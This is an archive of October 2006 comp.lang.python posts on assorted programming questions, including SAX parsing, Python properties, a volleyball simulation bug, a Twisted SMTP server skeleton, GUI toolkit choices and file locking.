From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 22:39:18 +0200
Subject: sax barfs on unicode filenames: workaround
In-Reply-To: <nQQUg.223$5B3.158@newsfe06.lga>
References: <WOOUg.61$iP5.19@newsfe07.lga> <nQQUg.223$5B3.158@newsfe06.lga>
Message-ID: <45241BF6.8040803@v.loewis.de>

Edward K. Ream schrieb:
> Happily, the workaround is easy.  Replace theFile with:
> 
> # Use cStringIo to avoid a crash in sax when inputFileName has unicode 
> characters.
> s = theFile.read()
> theFile = cStringIO.StringIO(s)
> 
> My first attempt at a workaround was to use:
> 
> s = theFile.read()
> parser.parseString(s)
> 
> but the expat parser does not support parseString...

Right - you would have to use xml.sax.parseString (which is a global
function, not a method).

Of course, parseString just does what you did: create a cStringIO
object and operate on that.

Regards,
Martin


From osv at javad.com  Wed Oct 25 05:24:38 2006
From: osv at javad.com (Sergei Organov)
Date: Wed, 25 Oct 2006 13:24:38 +0400
Subject: Visibility against an unknown background
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
	<ehlbvm$rg9$1@sea.gmane.org> <ehld8u$68u$1@sea.gmane.org>
	<ehlga7$kkq$1@sea.gmane.org> <ehlssr$bo5$1@sea.gmane.org>
Message-ID: <ehnahc$q21$1@sea.gmane.org>

Fredrik Lundh <fredrik at pythonware.com> writes:
> Sergei Organov wrote:
>
[...]
>> Where "most cases" depends on application. I'd be very upset to see,
>> say, 5-6 highly intersecting scientific plots on the same picture drawn
>> using the "marching ants" approach.
>
> but the mostly random colors you get from XOR wouldn't upset your color 
> vision subsystem?

Here I don't care much about particular colors, -- it's enough for them
to be different.

> to solve your specific case, I'd use bitmask algebra to generate alpha 
> layers (or masks/stencil buffers), and use standard compositing to 
> generate the final result.

Well, it's enough for me to know that you won't use marching ants for
that ;)

-- Sergei.



From steve at holdenweb.com  Wed Oct 25 19:09:05 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 26 Oct 2006 00:09:05 +0100
Subject: question about True values
In-Reply-To: <7xbqo05hgk.fsf@ruckus.brouhaha.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<7x4ptsi544.fsf@ruckus.brouhaha.com>	<zNO%g.154$1n3.3672@news.tufts.edu>
	<7xbqo05hgk.fsf@ruckus.brouhaha.com>
Message-ID: <ehoqoe$6iq$5@sea.gmane.org>

Paul Rubin wrote:
> John Salerno <johnjsal at NOSPAMgmail.com> writes:
> 
>>if (10 > 5)
>>would be the same as
>>if (10 > 5) == True
> 
> 
> Yes.

Though it would be bad style to write it in the latter way, not to 
mention less efficient.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From nairarunv at gmail.com  Thu Oct 26 02:55:31 2006
From: nairarunv at gmail.com (Arun Nair)
Date: 25 Oct 2006 23:55:31 -0700
Subject: Can any one help with solving this program it just doesnt take
	probability of the second team
Message-ID: <1161845731.501326.46510@h48g2000cwc.googlegroups.com>

''' Can anyone help me with this program it just takes probability of
the first team and runs the program doesnt takes the probability of the
second team even though specified'''

from random import *

def volleySimulation():
    printInstructions()
    probA, probB, n = getInputs()
    winA, winB = simGames(n, probA, probB)
    printSummary(winA, winB)

def printInstructions():
    print "This program stimulates a game of Volley Ball between two
teams i.e. Team A and Team B"
    print "The abilities of each team is indicated by a probability
that determines which team wins the points."
    print "We assume that Team A always serves first"

def getInputs():
    print "Enter the probability for both team winning the serve in
between 0 and 1"
    probA = input("Enter the probability of Team A winning a serve")
    probB = input("Enter the probability of Team B winning a serve")
    n = input("Enter the number of games that you want to simulate:")
    return probA, probB, n

def simGames(n, probA, probB):
    winA = 0
    winB = 0
    for i in range(n):
        scoreA, scoreB = simGame(probA, probB)
        if scoreA > scoreB:
            winA = winA + 1
        else:
            winB = winB + 1
    return winA, winB

def simGame(probA, probB):
    scoreA = 0
    scoreB = 0
    serving = "A"
    while not gameOver(scoreA, scoreB):
        if serving == "A":
            if random() < probA:
                scoreA = scoreA + 1
            else:
                serving == "B"
        else:
            if random() < probB:
                scoreB = scoreB + 1
            else:
                serving == "A"
    return scoreA, scoreB

def gameOver(a, b):
    return (a == 15 or b == 15) and ((a - b) > 2 ) or ((a - b) < -2)

def printSummary(winA, winB):
    n = winA + winB
    print "Games simulated:", n
    print "Wins for A: %d (%0.1f%%)" % (winA, float(winA)/n*100)
    print "Wins for B: %d (%0.1f%%)" % (winB, float(winB)/n*100)

volleySimulation()



From hanumizzle at gmail.com  Fri Oct 13 15:05:47 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 15:05:47 -0400
Subject: Line algorithim for python and numeric
In-Reply-To: <egodg6$kr9$1@sea.gmane.org>
References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com>
	<mailman.449.1160750510.11739.python-list@python.org>
	<P8OXg.47123$DU3.17444@tornado.texas.rr.com>
	<463ff4860610130857q241ee7afy8bd6c3edde48bb34@mail.gmail.com>
	<egodg6$kr9$1@sea.gmane.org>
Message-ID: <463ff4860610131205v7dc1d0edw2f91926f92cc752d@mail.gmail.com>

On 10/13/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Theerasak Photha wrote:
>
> > I'm not in kolluge yet and I just learned about linear interpolation
> > today---although I don't think it would necessarily apply to this
> > problem, where the increments set by the grid might be more discrete
> > than the line itself
>
> that's usually solved by stepping along the grid in one direction, and
> interpolating in the other.

Could rounding still be an issue? I sketched a line w/ m = 1/3 and
could see different possible outcomes for certain points on the line
in between each 3rd point on the x axis.

-- Theerasak


From g.brandl-nospam at gmx.net  Tue Oct 10 17:45:11 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Tue, 10 Oct 2006 23:45:11 +0200
Subject: Python component model
In-Reply-To: <452b7aae$0$306$426a74cc@news.free.fr>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr>
Message-ID: <egh497$482$2@news.albasani.net>

Bruno Desthuilliers wrote:
> Marc 'BlackJack' Rintsch wrote:
> (snip)
>   Python itself is a RAD tool.
> 
> +1 QOTW
> 

Agreed.

Georg


From lm401 at cam.ac.uk  Wed Oct 11 10:38:46 2006
From: lm401 at cam.ac.uk (LorcanM)
Date: 11 Oct 2006 07:38:46 -0700
Subject: Can pdb be set to break on warnings?
In-Reply-To: <mailman.306.1160563223.11739.python-list@python.org>
References: <1160558575.381070.200570@b28g2000cwb.googlegroups.com>
	<1160562703.933794.138980@b28g2000cwb.googlegroups.com>
	<mailman.306.1160563223.11739.python-list@python.org>
Message-ID: <1160577525.925689.102870@m7g2000cwm.googlegroups.com>


Fredrik Lundh wrote:
> "LorcanM" wrote:
>
> >>      python -m pdb -Werror myprogram.py
> >
> > It sounds like what I want, but it doesn't work for me. When I try the
> > above line of code, it replies:
> >
> > Error: -Werror does not exist
> >
> > I'm running Python 2.4.3
>
> sorry, pilot cut and paste error.  try:
>
>     python -Werror -m pdb myprogram.py
>
> (-m script must be the last option before the script arguments, for pretty
> obvious reasons).
> 
> </F>


Thanks for that - that does the trick,


 Lorcan.



From fredrik at pythonware.com  Fri Oct 27 14:41:16 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 20:41:16 +0200
Subject: ANN: the pyfaq wiki has moved
In-Reply-To: <uXr0h.175$1n3.4318@news.tufts.edu>
References: <mailman.1349.1161953388.11739.python-list@python.org>
	<uXr0h.175$1n3.4318@news.tufts.edu>
Message-ID: <ehtjsc$c7d$1@sea.gmane.org>

John Salerno wrote:

>> If you have some time to spare, why not drop by, pick some random
>> article, and let us know how it can be improved:
>>
>>     http://effbot.org/random/pyfaq
> 
> How do we log in to make changes?

as with the 'infogami' version, you don't -- if you find something that 
needs to be fixed or clarified, just post a comment, or a suggested new 
text, and an editor will take care of the rest.

</F>



From Leo.Kislov at gmail.com  Wed Oct 18 18:46:23 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 18 Oct 2006 15:46:23 -0700
Subject: characters in python
In-Reply-To: <eh5t1s$bq2$3@ss408.t-com.hr>
References: <eh5p68$qcl$1@ss408.t-com.hr><eh5t1s$bq2$3@ss408.t-com.hr>
Message-ID: <1161211582.976493.88330@i3g2000cwc.googlegroups.com>



On Oct 18, 11:50 am, Stens <sgi... at email.t-com.hr> wrote:
> Stens wrote:
> > Can python handle this characters: c,c,?,d,??
>
> > If can how"I wanna to change some characters in text (in the file) to the
> characters at this address:
>
> http://rapidshare.de/files/37244252/Untitled-1_copy.png.html

You need to use unicode, see any python unicode tutorial, for example
this one http://www.amk.ca/python/howto/unicode or any other you can
find with google.

Your script can look like this:

# -*- coding: PUT-HERE-ENCODING-OF-THIS-SCRIPT-FILE -*-
import codecs
outfile = codecs.open("your output file", "w", "encoding of the output
file"):
for line in codecs.open("your input file", "r", "encoding of the input
file"):
    outfile.write(line.replace(u'd',u'd'))



From antoine at vo.lu  Wed Oct 11 05:49:44 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Wed, 11 Oct 2006 11:49:44 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <452cae13$0$24783$426a74cc@news.free.fr>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr>
Message-ID: <452cbe11$1@news.vo.lu>

> Googling for "python is not java" may be a good start. Also, here are 2
> common C-style smells:

Ok, the first Google result 
(http://dirtsimple.org/2004/12/python-is-not-java.html) says this somewhere:

"Getters and setters are evil. Evil, evil, I say! Python objects are not 
Java beans. Do not write getters and setters. This is what the 
'property' built-in is for. And do not take that to mean that you should 
write getters and setters, and then wrap them in 'property'. (1) That 
means that until you prove that you need anything more than a simple 
attribute access, don't write getters and setters. They are a waste of 
CPU time, but more important, they are a waste of programmer time. Not 
just for the people writing the code and tests, but for the people who 
have to read and understand them as well.

In Java, you have to use getters and setters because using public fields 
gives you no opportunity to go back and change your mind later to using 
getters and setters. (2) So in Java, you might as well get the chore out 
of the way up front. In Python, this is silly, because you can start 
with a normal attribute and change your mind at any time, without 
affecting any clients of the class. (3) So, don't write getters and 
setters."

For the record, I'm coming from Java, but I have some Python experience 
already.

Now here's what I don't understand.

What exactly is meant by (1)? The python library reference includes this 
as an example:

class C(object):
     def __init__(self): self.__x = None
     def getx(self): return self._x
     def setx(self, value): self._x = value
     def delx(self): del self._x
     x = property(getx, setx, delx, "I'm the 'x' property.")

To me this seems contradictory. Why would one not want to do something 
that is included in the documentation? Or am I just confused? Does 
anybody have an idea how to put me in the right direction?

And what does property mean anyway? The explanation in 
http://docs.python.org/lib/built-in-funcs.html is not enough for me. Can 
anybody point me to a more detailed documentation about this matter? (At 
first sight, the Python tutorial doesn't seem to describe this. At least 
it is not stated in the TOC, nor in chapter 9 which describes classes...)

And then, by (2) I believe that what is meant is that once some client 
code uses public fields one can't make them private anymore because then 
the clients are broke. That's clear to me. But I don't understand (3). I 
don't know exactly what they mean. How would one want to change their 
mind? In what way? I've been thinking about it some time now, but I'm 
still kept in the dark. I would appreciate any explanation.

I'd really like to get this, because when I use a language I want to use 
it "correctly", i.e. in the way it is intended, but right now I feel a 
bit lost :-(

I'm not done with 'How To Ask Questions The Smart Way' yet, so please 
forgive any violations. (http://catb.org/~esr/faqs/smart-questions.html)

Regards,
antoine


From gherron at islandtraining.com  Fri Oct 13 14:28:08 2006
From: gherron at islandtraining.com (Gary Herron)
Date: Fri, 13 Oct 2006 11:28:08 -0700
Subject: Newbie question - leading zeros
In-Reply-To: <20061013130805.T91050@eris.io.com>
References: <20061013130805.T91050@eris.io.com>
Message-ID: <452FDAB8.2010708@islandtraining.com>

eldorado wrote:
> I have looked around and cannot seem to find a way to strip leading zeros 
> off of values in a dictionary. Basically, I am looking to do a for loop 
> and any value that has one or more leading zeros would be stripped. Any 
> pointers would be appreciated. Thanks
>
>   
There is nowhere enough information in your question to answer it well,
but I'll make some guesses.

If your values are strings that have leading zeros, then lstrip may be
what you want.
>>> str = "00xyz"
>>> str.lstrip('0')
'xyz'

If your values are integers -- then the question does not make sense. 
The internal representation of a number (binary zeros and ones) is not
something you can change.

If your values are integers and something is printing them out with
leading zeros -- then change the code that is doing the formatting for
that print.  For example, here are several ways to convert an int to a
printable string with and without leading zeros:
>>> i = 123
>>> '%d' % i
'123'
>>> '%5d' % i
'  123'
>>> '%05d' % i
'00123'

Hope that helps,
Gary Herron



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 03:28:05 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 17:28:05 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
Message-ID: <pan.2006.10.28.07.28.05.110066@REMOVE.THIS.cybersource.com.au>

On Fri, 27 Oct 2006 18:22:28 +0000, Antoon Pardon wrote:

>>> And how do I express that a number has to be greater than
>>> 100 into a Nothing vs Something dichotomy? Declare all
>>> greater numbers as Something and the rest as Nothing?
>>
>> Well, would you declare numbers less than 100 False?
> 
> No but the condition: x > 100, will map all numbers to
> either True or False. Can you provide a condition that will
> provide a mapping to Nothing and Something? Without
> artificially mapping False to Nothing and True to Something?

A > B maps to max(0, A-B)

or more verbosely, "Remove B items from A items, stopping when there are
no more items to remove. What is left over? Something or Nothing?"

Likewise, A < B maps to max(0, B-A).



-- 
Steven.



From sgreszcz at yahoo.com  Wed Oct 18 10:49:12 2006
From: sgreszcz at yahoo.com (Stephen G)
Date: Wed, 18 Oct 2006 07:49:12 -0700 (PDT)
Subject: MemoryError - IMAP retrieve self._sock.recv(recv_size)
Message-ID: <20061018144912.29621.qmail@web88206.mail.re2.yahoo.com>

Fredrik,

Thanks for the response.  I did see that, but having been dated 2005 I thought that it might have been patched.  I am also sometimes getting the same problem with the urllib.py module.  T

his may have to do with the interaction between Python and the mobile optimization client that I am testing.  I do not see this problem when using Internet Explorer and the optimization client, nor is there a problem when using Python and no optimization client.  I am working with the optimization client vendor to have them test my Python script with their product.  This problem is intermittent with the optimization client which is annoying since most of the time it works.

Iteration Number 12
18/10/2006 14:01:23
Downloading http://tmotest.de/ftp/3MB.doc
Error: problem downloading 3MB.doc

error
<no args>
  File "C:\Documents and Settings\root\Desktop\TMO\Python scripts\http-v2.3a.py", line 130, in main
    urllib.urlretrieve(total_URL, downloaded_file)

  File "C:\Python25\lib\urllib.py", line 89, in urlretrieve
    return _urlopener.retrieve(url, filename, reporthook, data)

  File "C:\Python25\lib\urllib.py", line 248, in retrieve
    block = fp.read(bs)

  File "C:\Python25\lib\socket.py", line 308, in read
    data = self._sock.recv(recv_size)

I am hesitant to make any changes to the python libraries as I need to distribute these scripts with a standard Python install.  I guess an other option is to try and learn something like Perl and recode all the test scripts...
 




From jstroud at mbi.ucla.edu  Sun Oct 29 07:44:47 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sun, 29 Oct 2006 12:44:47 GMT
Subject: enumerate improvement proposal
In-Reply-To: <mailman.1437.1162125524.11739.python-list@python.org>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>	<mailman.1435.1162124420.11739.python-list@python.org>	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
	<mailman.1437.1162125524.11739.python-list@python.org>
Message-ID: <3n11h.17579$TV3.4798@newssvr21.news.prodigy.com>

Fredrik Lundh wrote:
> James Stroud wrote:
> 
>> The code is for an economist. She is insistent on starting with the 
>> first bin as 1.
> 
> leaky abstractions in reverse, in other words?  that's not a good design 
> approach.
> 
> </F>
>

I'm not sure I understand what "leaky abstractions" means.

I am helping someone with dubious programming skills make sense of a 
pile of code they wrote--code which getting a little unwieldy to debug. 
I think "design approach" can't really apply here. The idea is to make 
it comprehensible at some level.

I'm still curious what you mean by "leaky abstractions". Please explain.

James


From belred at gmail.com  Tue Oct  3 01:15:15 2006
From: belred at gmail.com (Bryan)
Date: Mon, 02 Oct 2006 22:15:15 -0700
Subject: saving an exception
Message-ID: <efsrl4$sqo$2@sea.gmane.org>

hi,

i would like to save an exception and reraise it at a later time.


something similar to this:

exception = None
def foo():
? ? try:
? ? ? ? 1/0 
? ? except Exception, e:
? ? ? ? exception = e

if exception: raise exception


i have a need to do this because in my example foo is a callback from c code
which was originally called from python and i can't modify the c code. 
with the above code, i'm able to successfully raise the exception, but the
line number of the exception is at the place of the explicit raise instead
of the where the exception originally occurred. ?is there anyway to fix
this?


thanks,

bryan



From kw at kevin-walzer.com  Sat Oct 21 10:52:48 2006
From: kw at kevin-walzer.com (Kevin Walzer)
Date: Sat, 21 Oct 2006 10:52:48 -0400
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161440644.300080.198790@b28g2000cwb.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
Message-ID: <453A3440.8090801@kevin-walzer.com>

sturlamolden wrote:
> Christophe wrote:
> 
>> Nobody mentionned it, but I think you should try PyQT and PyGTK before
>> wxPython. Myself, I do not like wx : it looks too much like the MFC.
>>
>> PyGTK is good, but GTK doesn't work that well on windows.
> 
> GTK and PyGTK works well on Windows now. GTK used to be unstable on
> Windows, but that has been taken care of. I would not use anything else
> but PyGTK for GUI development in Python. Go here to get the Windows
> port:
> 
> http://www.mapr.ucl.ac.be/~gustin/win32_ports/
> 
> With PyGTK and GLADE, the GUI can be designed in GLADE and imported as
> an XML-resource (using libglade). It saves us of all the tedious
> GUI-programming. All that is needed is the event handlers, which we
> obviously have to code. When they are done, we simply put references to
> them in a dictionary, and tell libglade to dispacth on it. All the GUI
> programming crap is hidden away. Since there is no actual GUI code in
> Python, it also makes maintenance and upgrading much easier: The GUI
> can be redesigned in GLADE without affecting the Python code. Have you
> ever tried to change anything in an MFC project with Visual C++? It's a
> nightmare.
> 
I'm a Mac developer--Gtk does not run natively on the Mac (i.e. as an
Aqua framework), only under X11. So that's a non-starter for me.


From maxerickson at gmail.com  Thu Oct 19 13:14:51 2006
From: maxerickson at gmail.com (Max Erickson)
Date: Thu, 19 Oct 2006 17:14:51 +0000 (UTC)
Subject: advice for web-based image annotation
References: <4537A934.10604@bryant.edu>
Message-ID: <Xns986186C1D894Amaxericksongmailcom@80.91.229.5>

Brian Blais <bblais at bryant.edu> wrote:

> Hello,
> 
> I want to set up a system where I can have my family members
> write comments about a number of pictures, as part of a family
> tree project.  Essentially, I want them to be able to log into a
> website (I already have the webspace, and the server runs python,
> but not mod_python), see images, and be able to fill in text
> boxes for comments and enter dates for the pictures.  These
> comments and dates will then be viewable by the others logging
> in, so that I can keep track of collect stories, details, dates, 
> etc...and also, who is writing what, when.
> 
> I've written some basic CGI python scripts, and can imagine how
> to do this, but I was wondering if it would better to look into a
> framework like cherrypy, turbogears, zope, etc.  I have never
> done any database programming, but have written CGI scripts to
> modify excel sheets and text files to store state.  I am not
> adverse to learning the database end, but I don't want to climb
> that hill unless I feel there is a significant benefit.  I don't
> have admin rights on the server, if that makes a difference.
> 
> Any suggestions would be greatly appreciated!
> 
> 
>           thanks,
> 
>                     Brian Blais
> 

You might want to look at gallery:

http://gallery.menalto.com/

It is big and heavy and php, but it has most of what you want, an 
image gallery with user permissions and comments.

max



From steve at holdenweb.com  Wed Oct  4 11:37:24 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 16:37:24 +0100
Subject: How can I correct an error in an old post?
In-Reply-To: <slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>	<mailman.1100.1159803391.10491.python-list@python.org>
	<slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <eg0ke1$obf$1@sea.gmane.org>

Jorgen Grahn wrote:
> On Mon, 02 Oct 2006 16:36:24 +0100, Steve Holden <steve at holdenweb.com> wrote:
> 
>>Jorgen Grahn wrote:
>>
>>>On 1 Oct 2006 10:18:59 -0700, barakad at gmail.com <barakad at gmail.com> wrote:
>>>....
>>>
>>>
>>>>and I wish to add my findings to the post, to prevent others from
>>>>taking the wrong path.
> 
> ....
> 
>>>In Usenet terms, make a posting with a References: header which mentions the
>>>Message-ID of the bad posting (just like this posting references yours, if
>>>you look closely at the headers).  That's easier if the posting hasn't
>>>already expired on your server, but by no means impossible if it has.
>>>
>>>/Jorgen
>>>
>>
>>Since this message was never on topic,
> 
> 
> I disagree; it was a technical question on how to handle a discussion in
> this newsgroup, and IMHO that is always on topic -- to a certain point.
> 
> 
>>I'd appreciate it if all 
>>concerned would close this thread now.
> 
> 
> I think you are overreacting. This was a thread with three (3) postings, in
> a high-volume newsgroup, with no indication that it would continue (except
> maybe with a pointer to whatever posting the OP wanted to correct, or to his
> correction).
> 
I probably was. I also missed the (in retrospect, fairly clear) 
implication that it was an old *c.l.py* post that was being discussed.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From jan.bakuwel at int.greenpeace.org  Wed Oct 11 11:15:09 2006
From: jan.bakuwel at int.greenpeace.org (Jan Bakuwel)
Date: Wed, 11 Oct 2006 17:15:09 +0200
Subject: Newbie: trying to twist my head around twisted (and python)
Message-ID: <12iq2jtbkhna8cf@corp.supernews.com>

Hoi all,

Please see below a small piece of python code that resembles a
smtpserver using the twisted framework. The code is based on the example
smtp server discussed in Twisted Network Programming Essentials.
The unmodified example code can be found on the O'Reilly website:
(http://examples.oreilly.com/twistedadn/, in ch08 subdir).

I've removed all the code I don't (the original example write an email
received with SMTP to a Maildir; I'll do something else with it). For
the sake of the example, the only thing I'll do in eomReceived is print
whether the message had any attachments or not, then return a "failed"
if a message had any attachments and a "success" if not.

According to the book, I need to return a "Deferred result" from the
function eomReceived (see ???????? below).

In eomReceived, I intend to process the email then either return success
 or failure. I've been looking at the twisted way of using twisted :-).
According to the book "its a little confusing for a start" and I have to
agree :-)

Does anyone know how I need to complete the code below so it returns
this mysterious "Deferred result" and runs?

Many thanks in advance,
Jan


#!/usr/bin/python

from twisted.mail import smtp, maildir
from zope.interface import implements
from twisted.internet import protocol, reactor, defer
import os
from email.Header import Header
from email import message_from_string


class MessageHandler(object):
    implements(smtp.IMessage)

    def __init__(self, userDir):
        self.lines = []
    #end __init__

    def lineReceived(self, line):
        self.lines.append(line)
    #end lineReceived

    def eomReceived(self):
        # message is complete, store it
        self.lines.append('') # add a trailing newline
        messageData = '\n'.join(self.lines)
	emailMessage = message_from_string (messageData)

        # return a Deferred result so the client knows whether the
	# message has been successfully processed
	if emailMessage.is_multipart():
	    print "email has attachments"
            return ?????? failed ???????
        else:
            print "email has no attachments"
            return ?????? success ???????

    #end eomReceived

    def connectionLost(self):
        print "Connection lost unexpectedly!"
        # unexpected loss of connection; don't save
        del(self.lines)
        del(self.email)
    #end connectionLost

#end MessageHandler


class LocalDelivery(object):
    implements(smtp.IMessageDelivery)

    def __init__(self):
	pass
    #end __init__

    def receivedHeader(self, helo, origin, recipients):
        myHostname, clientIP = helo
        headerValue = "by %s from %s with ESMTP ; %s" % (myHostname,
clientIP, smtp.rfc822date())
        # email.Header.Header used for automatic wrapping of long lines
        return "Received: %s" % Header(headerValue)
    #end receivedHeader

    def validateFrom(self, helo, originAddress):
        # accept mail from anywhere. To reject an address, raise
        # smtp.SMTPBadSender here.
        return originAddress
    #end validateFrom

    def validateTo(self, user):
        print "Accepting mail for %s" % user.dest
        return lambda: MessageHandler()
    #end validateTo

#end LocalDelivery


class SMTPFactory(protocol.ServerFactory):
    def __init__(self):
        pass
    #end __init__

    def buildProtocol(self, addr):
        delivery = LocalDelivery()
        smtpProtocol = smtp.SMTP(delivery)
        smtpProtocol.factory = self
        return smtpProtocol
    #end buildProtocol

#end SMTPFactory


if __name__ == "__main__":
    import sys
    reactor.listenTCP(10025, SMTPFactory())
    from twisted.internet import ssl
    # SSL stuff here... and certificates...
    reactor.run()


From fredrik at pythonware.com  Fri Oct 13 12:05:27 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 18:05:27 +0200
Subject: Line algorithim for python and numeric
In-Reply-To: <463ff4860610130857q241ee7afy8bd6c3edde48bb34@mail.gmail.com>
References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com>	<mailman.449.1160750510.11739.python-list@python.org>	<P8OXg.47123$DU3.17444@tornado.texas.rr.com>
	<463ff4860610130857q241ee7afy8bd6c3edde48bb34@mail.gmail.com>
Message-ID: <egodg6$kr9$1@sea.gmane.org>

Theerasak Photha wrote:

> I'm not in kolluge yet and I just learned about linear interpolation
> today---although I don't think it would necessarily apply to this
> problem, where the increments set by the grid might be more discrete
> than the line itself

that's usually solved by stepping along the grid in one direction, and 
interpolating in the other.

</F>



From MonkeeSage at gmail.com  Mon Oct  2 19:45:48 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 2 Oct 2006 16:45:48 -0700
Subject: Making sure script only runs once instance at a time.
References: <mailman.801.1159372327.10491.python-list@python.org>
	<1159531181.314800.224180@k70g2000cwa.googlegroups.com>
	<mailman.936.1159535264.10491.python-list@python.org>
	<7xk63mpzwr.fsf@ruckus.brouhaha.com>
	<451D25A3.7010803@googlemail.com> <efjbhh$d9m$1@sea.gmane.org>
	<4520E5E1.3040409@googlemail.com>
	<mailman.1111.1159808480.10491.python-list@python.org>
Message-ID: <1159832748.370619.95190@i3g2000cwc.googlegroups.com>

Here's a class using Fredrik's suggestions to provide generic,
cross-platform file locking (only tested on *nix however, with the two
test files listed [i.e., run test1.py in one terminal then test2.py in
another]):

http://pastie.caboo.se/15851

Ps. The lockfile should also always be cleaned up (even when your
program excepts) because of the magic __del__ method, but I don't
guarentee it will be (nor depend on it: I used the pid + hostname in
the lockfile approach).

Regards,
Jordan



From martin at v.loewis.de  Tue Oct 31 14:24:35 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 31 Oct 2006 20:24:35 +0100
Subject: Missing _init_types in MS VisualStudio 2005 (PCBuild8)
In-Reply-To: <wdezmbcmusj.fsf@axis2.westgate.xynthesis.com>
References: <wdezmbcmusj.fsf@axis2.westgate.xynthesis.com>
Message-ID: <4547A2F3.6040300@v.loewis.de>

Donovan Kolbly schrieb:
> I was trying to build Python using MS VisualStudio 2005 (VC++ 8.0)
> according to the instructions in PCBuild8/ and got a link error
> in config.obj referencing _init_types.

That's a known bug, and has been fixed in the subversion repository
since.

> I (barely) know enough about VS 2005 to add files to the project, so I
> added Modules/_typesmodule.c to the pythoncore subproject, and that
> seemed to fix it -- I can now build the python executable.

That's the correct fix, indeed.

Regards,
Martin


From wdraxinger at darkstargames.de  Sun Oct 29 05:40:45 2006
From: wdraxinger at darkstargames.de (Wolfgang Draxinger)
Date: Sun, 29 Oct 2006 11:40:45 +0100
Subject: Safely renaming a file without overwriting
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
	<72sb14-08j.ln1@darkstargames.dnsalias.net>
	<pan.2006.10.28.22.15.24.785616@REMOVE.THIS.cybersource.com.au>
	<j62d14-pkv.ln1@darkstargames.dnsalias.net>
	<pan.2006.10.28.22.40.49.922035@REMOVE.THIS.cybersource.com.au>
	<318d14-t8e.ln1@darkstargames.dnsalias.net>
	<4qicffFna8baU1@uni-berlin.de>
Message-ID: <e2de14-q7m.ln1@darkstargames.dnsalias.net>

Diez B. Roggisch wrote:

> The link/unlink trick of Chetan sounds reasonable, though.

It will work only if both source and destination are on the same
file system, which means you can't move a file between mount
points - at least that's the way how it's defined by POSIX; NTFS
supports hard links and soft links, too but I don't know if
those got the same constraints.

Wolfgang Draxinger
-- 
E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867
GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E


From orangestripe at gmail.com  Wed Oct 18 01:02:57 2006
From: orangestripe at gmail.com (gel)
Date: 17 Oct 2006 22:02:57 -0700
Subject: I would like write some data recovery software
In-Reply-To: <UqiZg.15443$UG4.6346@newsread2.news.pas.earthlink.net>
References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com>
	<UqiZg.15443$UG4.6346@newsread2.news.pas.earthlink.net>
Message-ID: <1161147777.083982.123570@m7g2000cwm.googlegroups.com>


Dennis Lee Bieber wrote:
> On 17 Oct 2006 20:18:40 -0700, "gel" <orangestripe at gmail.com> declaimed
> the following in comp.lang.python:
>
> > I would like to write some data recovery software as a learning thing.
